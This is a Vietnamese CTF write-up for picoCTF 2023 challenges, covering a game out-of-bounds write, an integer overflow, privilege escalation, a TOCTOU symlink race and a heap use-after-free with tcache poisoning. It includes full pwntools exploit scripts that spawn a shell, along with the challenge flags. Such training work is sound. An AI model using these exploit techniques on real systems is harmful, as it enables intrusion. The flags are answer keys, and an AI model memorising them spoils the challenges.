Try   HackMD

(writeup) picoCTF 2023

babygame01

  • check file:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

chúa ghét 32 bit

  • checksec:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • check ida:
  • vì là file32 nên ida trên máy decompile hay bị lỗi nên xin phép gửi source copy =))))))
    chỉ copy những hàm liên quan để khai thác thôi nha
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+1h] [ebp-AA5h]
  int v5[2]; // [esp+2h] [ebp-AA4h] BYREF
  char v6; // [esp+Ah] [ebp-A9Ch]
  char v7[2700]; // [esp+Eh] [ebp-A98h] BYREF
  unsigned int v8; // [esp+A9Ah] [ebp-Ch]
  int *p_argc; // [esp+A9Eh] [ebp-8h]

  p_argc = &argc;
  v8 = __readgsdword(0x14u);
  init_player((int)v5);
  init_map((int)v7, v5);
  print_map((int)v7, (int)v5);
  signal(2, (__sighandler_t)sigint_handler);
  do
  {
    do
    {
      v4 = getchar();
      move_player(v5, v4, (int)v7);
      print_map((int)v7, (int)v5);
    }
    while ( v5[0] != '\x1D' );
  }
  while ( v5[1] != 'Y' );
  puts("You win!");
  if ( v6 )
  {
    puts("flage");
    win();
    fflush(stdout);
  }
  return 0;
}
  • hàm main sẽ nhảy vào function move_player
  • ngoài ra trong chính hàm main có lun win (hướng khai thác chính là đây)
_BYTE *__cdecl move_player(int *a1, char a2, int a3)
{
  _BYTE *result; // eax

  if ( a2 == 'l' )
    player_tile = getchar();
  if ( a2 == 'p' )
    solve_round(a3, a1);
  *(_BYTE *)(a1[1] + a3 + 90 * *a1) = 46;
  switch ( a2 )
  {
    case 'w':
      --*a1;
      break;
    case 's':
      ++*a1;
      break;
    case 'a':
      --a1[1];
      break;
    case 'd':
      ++a1[1];
      break;
  }
  result = (_BYTE *)(a1[1] + a3 + 90 * *a1);
  *result = player_tile;
  return result;
}
  • và có hàm đặc biệt là solve_round
int __cdecl solve_round(int a1, int *a2)
{
  int result; // eax

  while ( a2[1] != 'Y' )
  {
    if ( a2[1] > 'X' )
      move_player(a2, 'a', a1);
    else
      move_player(a2, 'd', a1);
    print_map(a1, (int)a2);
  }
  while ( *a2 != '\x1D' )
  {
    if ( a2[1] > 28 )
      move_player(a2, 115, a1);
    else
      move_player(a2, 119, a1);
    print_map(a1, (int)a2);
  }
  sleep(0);
  result = *a2;
  if ( *a2 == '\x1D' )
  {
    result = a2[1];
    if ( result == 'Y' )
      return puts("You win!");
  }
  return result;
}
  • bắt đầu 1 trò chơi thì ta đg đứng ở vị trí 4 4

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • mục tiêu ta là vị trí 29 89, tức là ta đang là nhân vật @, cần di chuyển đến X
  • nhưng như vậy thì ai chả làm được, chỉ với 4 phím 'w', 'a', 's', 'd' hoặc theo source thì 'p' là tự động hoàn thành ván game
  • win thì win đấy, nhưng đâu cho flag
  • ngoài ra phía trên ta còn 1 dòng player has flag: 0
  • là chưa có flag nên k in flag, có dị thui
  • hint : cố nhân có câu: lùi 1 bước để tiến 3 bước
  • nhìn source phía trên:
if ( v6 )
  {
    puts("flage");
    win();
    fflush(stdout);
  }
  • v6 là con trỏ của mình, tức là v6 là con @
  int v5[2]; // [esp+2h] [ebp-AA4h] BYREF
  char v6; // [esp+Ah] [ebp-A9Ch]
  char v7[2700]; // [esp+Eh] [ebp-A98h] BYREF
  • v6 nằm trên v7, v7 là mảng in ra bản đồ ta chơi, vậy có nghĩa ta có thể truy cập v6 bên ngoài v7
  • trước hết ta lui dề vị trí 0 0
    gửi 'aaaawwww'

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • vậy giả sử lui thêm thì sao, lui dùng 'a'
  • con 'a' đầu tiên gửi vào thì nhân vật @ đã bị ngoài vùng phủ sóng =)))))))

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • tiếp tục gửi thêm 'a' thì thấy đến con 'a' thứ 4 kể từ vị trí 0 0 thì ta có dòng này

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • gửi thêm thì sao nhỉ?
    core dump
  • vậy ta dừng lại ở đó vì đã có flag trong tay, ta gửi thêm 'p' vào và

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • bài này có thể k cần script, nhưng sẽ viết ra để mng theo dõi:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./game',checksec=False)

p = process(exe.path)

payload = b'aaaawwww'

p.sendline(payload)

payload = b'aaaap'

p.sendline(payload)

p.interactive()

picoCTF{gamer_m0d3_enabled_10567bc2}


two-sum

  • source code:
#include <stdio.h>
#include <stdlib.h>

static int addIntOvf(int result, int a, int b) {
    result = a + b;
    if(a > 0 && b > 0 && result < 0)
        return -1;
    if(a < 0 && b < 0 && result > 0)
        return -1;
    return 0;
}

int main() {
    int num1, num2, sum;
    FILE *flag;
    char c;

    printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
    fflush(stdout);
    printf("What two positive numbers can make this possible: \n");
    fflush(stdout);
    
    if (scanf("%d", &num1) && scanf("%d", &num2)) {
        printf("You entered %d and %d\n", num1, num2);
        fflush(stdout);
        sum = num1 + num2;
        if (addIntOvf(sum, num1, num2) == 0) {
            printf("No overflow\n");
            fflush(stdout);
            exit(0);
        } else if (addIntOvf(sum, num1, num2) == -1) {
            printf("You have an integer overflow\n");
            fflush(stdout);
        }

        if (num1 > 0 || num2 > 0) {
            flag = fopen("flag.txt","r");
            if(flag == NULL){
                printf("flag not found: please run this on the server\n");
                fflush(stdout);
                exit(0);
            }
            char buf[60];
            fgets(buf, 59, flag);
            printf("YOUR FLAG IS: %s\n", buf);
            fflush(stdout);
            exit(0);
        }
    }
    return 0;
}

  • đọc 1 lần là hiểu lun, lỗi IOF cơ bản
  • biến ab khai báo kiểu int
  • source đọc ngay phần nhập số và tính tổng đủ hiểu nó khá vô lí rồi kkkkk
  • nhập 2 số dương r tính tổng, chỉ ra flag khi tổng "nhỏ" hơn 1 trong 2 số mình nhập
  • nhưng mình sẽ lợi dụng điều này để khiến cho nó đúng
  • giới hạn của int :

  • vậy để khiến tổng nhỏ hơn thì 2 số cộng lại phải vượt qua ngưỡng thiên đường int kia 2147483647
  • bởi khi vượt qua ngưỡng đó thì cơ số đếm lại thành 1+
  • vậy 2 số 32147483647 là sự lựa chọn kha khá hợp lí
  • bài này có lẽ k cần viết script

picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_bc0adfd1}


babygame02

  • check file

  • checksec

  • check ida
    cũng như trên, copy dán thui nha, nhưng sẽ dán những hàm sẽ có thể khai thác
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[2]; // [esp+0h] [ebp-AA0h] BYREF
  char v5[2700]; // [esp+Bh] [ebp-A95h] BYREF
  char v6; // [esp+A97h] [ebp-9h]
  int *p_argc; // [esp+A98h] [ebp-8h]

  p_argc = &argc;
  init_player(v4);
  init_map(v5, v4);
  print_map(v5);
  signal(2, (__sighandler_t)sigint_handler);
  do
  {
    do
    {
      v6 = getchar();
      move_player(v4, v6, v5);
      print_map(v5);
    }
    while ( v4[0] != 29 );
  }
  while ( v4[1] != 89 );
  puts("You win!");
  return 0;
}

về hàm move_player,solve_round cũng tương tự
nhưng hàm win sẽ k display trên main mà func nằm gần main
vì là hàm đọc flag nên ta sẽ ret2win

  • ta sẽ nhập từ từ để xem vị trí nào sẽ là save_eip
  • đặt breakpoint ở đây (gần ret của move_player)

  • ta thấy địa chỉ hàm win vs địa chỉ save_eip chỉ khác nhau 1 byte cuối

0x09 và 0x5d

  • nhận vật của ta là ký tự '@', tương ứng là 0x40
  • có câu lệnh 'l' sẽ đổi người chơi, vậy ta sẽ đổi người chơi từ '@' thành 1 byte cuối của win
  • byte của 0x5d là ']'
  • vậy cú pháp là payload = b'l]' ta sẽ gửi đầu tiên
  • ta sẽ dùng ký tự 'a' để lùi sang trái tiếp tục, đến khi nào ow dc eip sẽ dừng

  • đến đây ta thấy địa chỉ 0x5d049709, ow sắp tới nơi (do địa chỉ trên k có nghĩa nên eip access vào nó sẽ báo lỗi)
  • vậy payload ta thêm 3 con 'a' vào
    bài này phải debug liên tục để check stack

  • hurray🎉
  • chạy tiếp thì sigsegv fault
  • hmmmmmmmmmmmmmmmmmmm, có thể stack lẻ =)))
  • (giống bị lỗi xmm kkkkkk)
  • chứ nhảy vào win là thành công r
  • check tiếp win : disas win

  • thay vì nhảy vào <win+0> thì ta sẽ nhảy vào <win+28>, nhảy sau mấy cái nop quái dị

  • vậy ta đổi payload ở ban đầu từ 'l]' sang 'ly'
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./game',checksec=False)

#p = process(exe.path)
p = remote('saturn.picoctf.net', 59295)

payload = b'ly'
p.sendline(payload)

payload = b'wwwaaaaaaaaaaaaaa'

p.sendline(payload)
#input()
payload = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaw'
p.sendline(payload)


p.interactive()

picoCTF{gamer_jump1ng_4r0unD_8d141e10}


hijacking

  • ở bài này k có cho source hay binary j cả
  • nhận được hint ở description là tag privillage escalation

  • ngoài ra cũng có dc hint exploit kỹ thuật privillage escalation ấy là 1 link ytb
  • khai thác tương tự ta có flag:

picoCTF{pYth0nn_libraryH!j@CK!n9_4c188d27}


VNE

  • bài này tương tự leo thang đặc quyền
  • kết nối và xem thử

  • báo là chúng ta thiếu biến môi trường

  • không thể khai thác như trên dc
  • mô tả cho ta hint

  • ta phải tải file bin về máy mình và sử dụng ida để check
  • phương thức:
    scp -P <port> username@host:<path-to-file-on-server> <path-to-file-in-local>

  • check ida

  • ở đây yêu cầu ta phải có biến môi trường SECRET_DIR
  • nếu không sẽ báo lỗi như trên

  • tra gg cách tạo biến môi trường
$ SECRET_DIR='-la'
$ export SECRET_DIR

  • hmmm, hay là ta chỉnh lại xíu
  • hint:

  • chỉnh lại nè

  • hmmm
  • chỉnh thêm cái nữa

picoCTF{Power_t0_man!pul4t3_3nv_d0cc7fe2}


tic-tac

  • ở bài này description có hashtag #toctou
  • check source:
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>

int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  }

  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;

  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  }

  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  }

  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  }

  return 0;
}
  • khai thác như sau

  • txtreader là file đọc flag có sẵn, dc compile bằng cource code c++ src.cpp
  • flag.txt sở hữu bởi root
  • viết 1 code c, dùng lệnh nano
  • source:
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}
  • compile bằng gcc

  • tạo 1 text giả trong mục /tmp/asd để kiểm tra

  • tạo 1 thư mục và linking cái flag.txt vào thư mục đó
  • lưu ý là linking đường dẫn vào đường dẫn

  • tất nhiên đọc cái đường dẫn sẽ k dc

  • tạo 1 đường dẫn fake

  • chạy file mình đã compile phía trên

  • lúc này trong hình, flag.txt sẽ nhảy qua lại giữa 2 thư mục ( có thể đồng thời 2 thư mục đều chứa flag.txt)
  • bruit force thôi

picoCTF{ToctoU_!s_3a5y_107916f2}


Horsetrack

  • basic file check

  • check ida (stripped nên rename lại 1 số function)


main()
tạo 1 chunk horse size 0x120

tạo struct cho dễ nhìn

secret()
là option0
option này là modify ngựa
vị trí, nhập tên (16 bytes)
sửa position
r gắn biến cheat=1

add()
thêm ngựa (vị trí, độ dài tên,tên)
khi nhập tên phải nhập đúng số lượng độ dài tên

remove()
xoá ngựa

option3 : đua ngựa
sẽ check xem mình có từng nhảy vào option0 (biến cheat)
các hàm idkrace_over là làm gì gì đó tính toán (cho cuộc đua)
hàm move_horseshow_horse sẽ lấy thông tin ngựa và bắt đầu race
cuối cùng lấy thông tin ngựa chiến thắng bằng get_winner

analyse

  • vì bài này đi kèm libc6 nên sẽ có tcache
  • trong hàm add() ta có thể thêm tối đa 17 con ngựa -> chỉ cần fill đủ là khi remove() là vào ubin
  • và chương trình là kiểu đua ngựa nên có thể là Race Condition
  • test thử

tạo 5 ngựa và đua
khi 1 con chiến thắng sẽ in ra "WINNER"
nếu những con ngựa đó chứa các byte khác thì cách để leak hơi khoai
nhưng bù lại animation khi đua hơi cute =)))))

  • về hàm get_name lấy tên cho ngựa thì có 1 "tính năng"

nếu data cho tên ngựa chứ byte '\xff' thì k cần nhập nhiều
1 byte '\xff' là đủ
nó sẽ k lưu cái data mới mình ow vào

  • BUG : UAF trong hàm secret()

không check ngựa có in_use hay không

  • để mà malloc() lại vùng nhớ mình muốn thì bug UAF đó sẽ làm cho mình
  • nhưng sẽ có cơ chế bảo vệ của tcache khi thay đổi fw_pointer -> leak heap đầu tiên
  • để lấy shell ta sẽ ow __free_hook

way1: OW free_hook (not work on server)

leak heap + leak libc

  • đầu tiên ta cần fill tcache và free
  • sau đó fill lại lần nữa với byte '\xff' để không thay đổi dữ liệu nào
for i in range(12):
	add(i,0x100,b'\xff')
	info("######## --------" + str(i) + "-------- ########")

for i in range(11,-1,-1):
	delete(i)
	info("######## --------" + str(i) + "-------- ########")

for i in range(12):
	add(i,0x100,b'\xff')
	info("######## --------" + str(i) + "-------- ########")

dù tcache count có 7, vào ubin là 8 nhưng ta lại cần đến 9 để malloc lại từ ubin sẽ vẫn còn ubin -> không bị mất libc_addr từ main_area

tcache poisoning + free_hook

  • ta sẽ làm việc trên tcache (không trigger DBF được)
  • thì để thay đổi fw_pointer ta chỉ còn cách này
  • ta sẽ cần malloc() ra từ __free_hook
  • đầu tiên free() 2 chunk 1 và 0
  • lúc này thứ tự trong bin là: [0] -> [1]
target = (heap_base >> 12) ^ (libc.sym['__free_hook']-0x10)
info("target: " + hex(target))
cheat(0,p64(target) + b'\xff')
  • ta sẽ sử dụng option0 để modify lại chunk
  • lúc này trong bin: [0] -> __free_hook - 0x10
  • việc ta làm tiếp theo là malloc() ra chunk đó với data là '/bin/sh\0'
  • rồi malloc tiếp theo nữa là system sau đó free() chunk chứa '/bin/sh\0' là có shell

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF("./vuln_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)

if args.REMOTE:
	p = remote('saturn.picoctf.net',62849)
else:
	p = process(exe.path)

def GDB(): 
        if not args.REMOTE:
	        gdb.attach(p, gdbscript='''
	        b*0x401dbf
	        b*0x40152c
	        b*0x401b32
	        b*0x40160f
	        b*0x401640
	        c
	        ''')
	        input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

def add(index,length,name):
	sla(b'Choice: ',b'1')
	sla(b'(0-17)?',str(index))
	sla(b'(16-256)?',str(length).encode())
	sla(b'characters:',name)

def delete(index):
	sla(b'Choice: ',b'2')
	sla(b'(0-17)?',str(index).encode())

def race():
	sla(b'Choice: ',b'3')

def cheat(index,name):
	sla(b'Choice: ',b'0')
	sla(b'(0-17)?',str(index).encode())
	sla(b'characters:',name)
	sla(b'spot? ',b'0')

def leak():
	data = p.recvuntil('WINNER: ')
	leaks = []
	for line in data.split(b'\n')[0:10]: #split 10 lines
		if b'|' not in data:
			continue
		line = line.strip(b' |\n\r') #remove space, b'|' and newline
		info("Line: " + str(line))

		leaks.append(u64(line.ljust(8,b'\0')))
	leaks = [a for a in leaks if a != 0] #keep only have data
	print([hex(a) for a in leaks])

	first_leak = leaks[-1] #heap
	second_leak = leaks[-2] #libc

	info("#############################")

	return (first_leak,second_leak)

for i in range(9):
	add(i,0x100,b'\xff')
	info("######## --------" + str(i) + "-------- ########")

for i in range(8,-1,-1):
	delete(i)
	info("######## --------" + str(i) + "-------- ########")

for i in range(9):
	add(i,0x100,b'\xff')
	info("######## --------" + str(i) + "-------- ########")

race()

(heap_leak, libc_leak) = leak()
heap_base = heap_leak << 12
info("heap base: " + hex(heap_base))
info("libc leak: " + hex(libc_leak))
libc.address = libc_leak - 0x1bde10
# libc.address = libc_leak - 0x1be040
info("libc base: " + hex(libc.address))

# GDB()

delete(1) 
delete(0) 

# [0] -> [1]

target = (heap_base >> 12) ^ (libc.sym['__free_hook']-0x10)
info("target: " + hex(target))
cheat(0,p64(target) + b'\xff')

add(10,0x100,b'/bin/sh\0' + b'\xff')
payload = b'a'*0x10
payload += p64(exe.sym['system'])
add(11,0x100,payload + b'\xff')
delete(10)

p.interactive()

way2: OW setbuf@GOT

leak heap

  • leak heap sẽ khác một chút so với way1
  • ta sẽ khai khác chủ yếu ở 2 chunk đầu (0 và 1) có size 0x10
  • và tạo 3 chunk cùng size là 0x18

do muốn đua cần 5 con ngựa

add(5,0x18, b'X'*0x18)
add(6,0x18, b'Y'*0x18)
add(7,0x18, b'Z'*0x18)
add(0,0x10, b'A'*0x10)
add(1,0x10, b'B'*0x10)
  • sau đó ta chỉ cần free() 2 chunk 0 và 1 và tạo lại
delete(0)
delete(1) #leak info heap
add(1,0x10, b"\xff") #not ow fd_pointer
add(0,0x10, b'A'*0x10)
  • race là leak được heap pointer
  • nhưng sẽ qua 1 bước là xor để trỏ về chunk trước đó
def prev(ptr):
    prev_ptr = (ptr >> 12) ^ ptr
    return (prev_ptr >> 24) ^ prev_ptr

GOT layout

  • ta sẽ nhắm đến cơ chế của setbuf() là sẽ set 3 cái stdin stdoutstderr
  • tức là sẽ đưa stderr (target) vào hàm setbuf() và "do stuff"
  • vậy ta chỉ cần stderr là 'sh'
  • GOT của setbuf()system() là có shell
  • nhưng để nhảy tới bước setup của setbuf() ta nhắm đến hàm printf() khi kết thúc 1 giai đoạn của chương trình

  • target: bắt đầu ghi vào địa chỉ 0x404040
    payload = p64(A) + p64(B) + p64(C)

với A là system@plt (setbuf@GOT)
với B là system@plt (system@GOT)
với C là địa chỉ trỏ đến lúc đưa stderr vào và call setbuf() (printf@GOT)

ow stderr = 'sh'

  • ow bằng tcache poisoning như bình thường
  • stderr = 0x4040e0 sẽ chứa 0x4040e8 trỏ đến 'sh'
delete(0)
delete(1)

# [1] -> [0]

target = exe.sym['stderr']
info("target: "  + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(1, payload + b'\xff')
add(1,0x10, b"A" * 0x10) #take out
payload = p64(target + 8)
payload += b'sh'.ljust(8,b'\0')
add(0,0x10, payload + b'\xff')  #write
# now stderr point -> "sh"

ow GOT (setbuf, system, printf)

  • tương tự như thế nhưng sẽ ở chunk khác
delete(5)
delete(6)

# [6] -> [5]

target = exe.got["setbuf"]  # 0x404040
info("target: "  + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(6, payload + b'\xff')
add(6,0x18, b'A'*0x18) #take out
# got table layout: setbuf, system, printf
resolve_system = exe.plt['system']+6
add(5,0x18, p64(resolve_system) * 2 + p64(0x401b90))

địa chỉ sẽ nhảy về: 0x401b90

nhảy ở plt+6

get flag

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF("./vuln_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)

if args.REMOTE:
    p = remote('saturn.picoctf.net',56744)
else:
    p = process(exe.path)

def GDB(): 
        if not args.REMOTE:
            gdb.attach(p, gdbscript='''
            b*0x401dbf
            b*0x40152c
            b*0x401b32
            b*0x40160f
            b*0x401640
            c
            ''')
            input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
    
def add(index,length,name):
    sla(b'Choice: ',b'1')
    sla(b'(0-17)?',str(index).encode())
    sla(b'(16-256)?',str(length).encode())
    sla(b'characters:',name)

def delete(index):
    sla(b'Choice: ',b'2')
    sla(b'(0-17)?',str(index).encode())

def race():
    sla(b'Choice: ',b'3')

def cheat(index,name):
    sla(b'Choice: ',b'0')
    sla(b'(0-17)?',str(index).encode())
    sla(b'characters:',name)
    sla(b'spot? ',b'0')

def prev(ptr):
    prev_ptr = (ptr >> 12) ^ ptr
    return (prev_ptr >> 24) ^ prev_ptr

def show(idx):
    data = p.recvuntil('WINNER: ')
    leaks = []
    for line in data.split(b'\n')[1:10]: #split lines
        if b'|' not in data:
            continue
        line = line.strip(b' |\n\r') #remove space, b'|' and newline
        info("Line: " + str(line))

        leaks.append(line)
    leaks = [a for a in leaks if a != 0] #keep only have data
    print(leaks)

    first_leak = leaks[idx]

    info("#############################")

    return (first_leak)

add(5,0x18, b'X'*0x18)
add(6,0x18, b'Y'*0x18)
add(7,0x18, b'Z'*0x18)
add(0,0x10, b'A'*0x10)
add(1,0x10, b'B'*0x10)
delete(0)
delete(1) #leak info heap
add(1,0x10, b"\xff")
add(0,0x10, b'A'*0x10)

race()
leak = show(1)
leak = u32(leak.ljust(4,b'\0'))
info("leaking: " + hex(leak))
# GDB()
ptr = prev(leak)
info("need: " + hex(ptr))  # points to name for chunk 0

delete(0)
delete(1)

# [1] -> [0]

target = exe.sym['stderr']
info("target: "  + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(1, payload + b'\xff')
add(1,0x10, b"A" * 0x10) #take out
payload = p64(target + 8)
payload += b'sh'.ljust(8,b'\0')
add(0,0x10, payload + b'\xff')  #write
# now stderr point -> "sh"

delete(5)
delete(6)

# [6] -> [5]

target = exe.got["setbuf"]  # 0x404040
info("target: "  + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(6, payload + b'\xff')

GDB()

add(6,0x18, b'A'*0x18) #take out
# got table layout: setbuf, system, printf
resolve_system = exe.plt['system']+6
add(5,0x18, p64(resolve_system) * 2 + p64(0x401b90))

p.interactive()
#picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_4c03b907}

picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d}